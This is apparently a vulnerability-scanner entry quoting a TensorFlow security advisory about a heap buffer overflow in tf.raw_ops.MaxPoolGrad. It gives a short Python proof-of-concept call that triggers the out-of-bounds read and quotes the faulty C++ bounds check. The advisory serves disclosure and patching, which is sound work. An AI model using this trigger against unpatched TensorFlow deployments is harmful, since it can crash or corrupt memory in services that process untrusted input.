QID 982415

Security update has been released for tensorflow,tensorflow-cpu,tensorflow-gpu to fix the vulnerability.

Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.

The implementation of `tf.raw_ops.MaxPoolGrad` is vulnerable to a heap buffer overflow:

```python
import tensorflow as tf

orig_input = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
ksize = [1, 1, 1, 1]
strides = [1, 1, 1, 1]
padding = "SAME"

tf.raw_ops.MaxPoolGrad(
orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
strides=strides, padding=padding, explicit_paddings=[])
```

The [implementation](https://github.com/tensorflow/tensorflow/blob/ab1e644b48c82cb71493f4362b4dd38f4577a1cf/tensorflow/core/kernels/maxpooling_op.cc#L194-L203) fails to validate that indices used to access elements of input/output arrays are valid:

```cc
for (int index = out_start; index < out_end; ++index) {
int input_backprop_index = out_arg_max_flat(index);
FastBoundsCheck(input_backprop_index - in_start, in_end - in_start);
input_backprop_flat(input_backprop_index) += out_backprop_flat(index);
}
```

Whereas accesses to `input_backprop_flat` are guarded by `FastBoundsCheck`, the indexing in `out_backprop_flat` can result in OOB access.